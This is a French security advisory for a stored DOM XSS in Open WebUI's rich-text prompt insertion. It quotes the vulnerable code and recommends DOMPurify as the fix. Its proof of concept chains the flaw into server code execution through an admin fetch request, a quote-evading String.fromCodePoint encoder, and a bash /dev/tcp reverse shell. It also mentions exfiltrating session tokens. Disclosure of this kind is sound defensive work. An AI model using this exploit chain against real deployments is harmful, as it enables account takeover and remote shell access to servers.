
Open WebUI vulnérable à un XSS DOM stocké via les prompts lorsque l'option "Insérer le prompt en texte enrichi" est activée, entraînant une ATO/RCE
Open WebUI vulnérable à un XSS DOM stocké via les prompts lorsque 'Insérer le prompt en texte enrichi' est activé, entraînant une ATO/RCE

La fonctionnalité qui insère des prompts personnalisés dans la fenêtre de discussion est vulnérable à un XSS DOM lorsque 'Insérer le prompt en texte enrichi' est activé, car le corps du prompt est affecté au sink DOM .innerHtml sans assainissement. Tout utilisateur disposant des autorisations pour créer des prompts peut abuser de cela pour implanter une charge utile qui pourrait être déclenchée par d'autres utilisateurs s'ils exécutent la commande / correspondante pour insérer le prompt.
La ligne concernée se trouve dans
open-webui/src/lib/components/common/RichTextInput.svelte
Ligne 348 dans 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnérable
Le HTML contrôlé par l'utilisateur provenant du corps du prompt est assigné à tempDiv.innerHTML sans assainissement (significatif). marked.parse introduit certaines limitations de caractères mais n'assainit pas le contenu, comme indiqué dans leur README.

Créez un prompt personnalisé comme suit :

Via les paramètres, assurez-vous que 'Insérer le prompt en texte enrichi' est activé :

Exécutez la commande /poc via une fenêtre de discussion.

Observez le déclenchement de l'alerte.

Les administrateurs pouvant naturellement exécuter du code Python arbitraire sur le serveur via la fonctionnalité 'Fonctions', ce XSS pourrait être utilisé pour forcer tout administrateur le déclenchant à exécuter l'une de ces fonctions avec du code Python choisi par l'attaquant.
Cela peut être accompli en lui faisant exécuter la requête fetch suivante :
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
Cela ne peut pas être fait directement car l'appel à marked.parse par lequel passe le HTML neutralisera les charges utiles contenant des guillemets

Pour contourner cela, les chaînes doivent être construites manuellement à partir de leurs valeurs décimales en utilisant String.fromCodePoint. Le script Python suivant automatise la génération d'une charge utile viable à partir d'un JavaScript donné :
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
Un administrateur déclenchant la charge utile correspondante via une commande de prompt exécutera une fonction Python qui lance une charge utile de reverse shell, donnant accès en ligne de commande au serveur pour l'attaquant.



Tout utilisateur exécutant le prompt malveillant pourrait voir son compte compromis via un JavaScript malveillant qui lit son jeton de session depuis le localstorage et l'exfiltre vers un serveur contrôlé par l'attaquant.
Les administrateurs exécutant le prompt malveillant risquent d'exposer le serveur backend à une exécution de code à distance (RCE), car le JavaScript malveillant exécuté via la vulnérabilité peut être utilisé pour envoyer des requêtes en tant qu'administrateur, qui exécutent des fonctions Python malveillantes, pouvant lancer des commandes du système d'exploitation.
Les utilisateurs à faibles privilèges ne peuvent pas créer de prompts par défaut ; l'autorisation USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS est nécessaire, qui peut être attribuée via, par exemple, un groupe personnalisé. Voir : https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
Un utilisateur victime exécutant la commande pour déclencher le prompt doit avoir le paramètre 'Insérer le prompt en texte enrichi' activé dans ses préférences pour que la vulnérabilité se déclenche. Ce paramètre est désactivé par défaut. Les utilisateurs avec ce paramètre désactivé ne sont pas affectés.
Assainir le HTML contrôlé par l'utilisateur avec DOMPurify avant de l'affecter à .innerHtml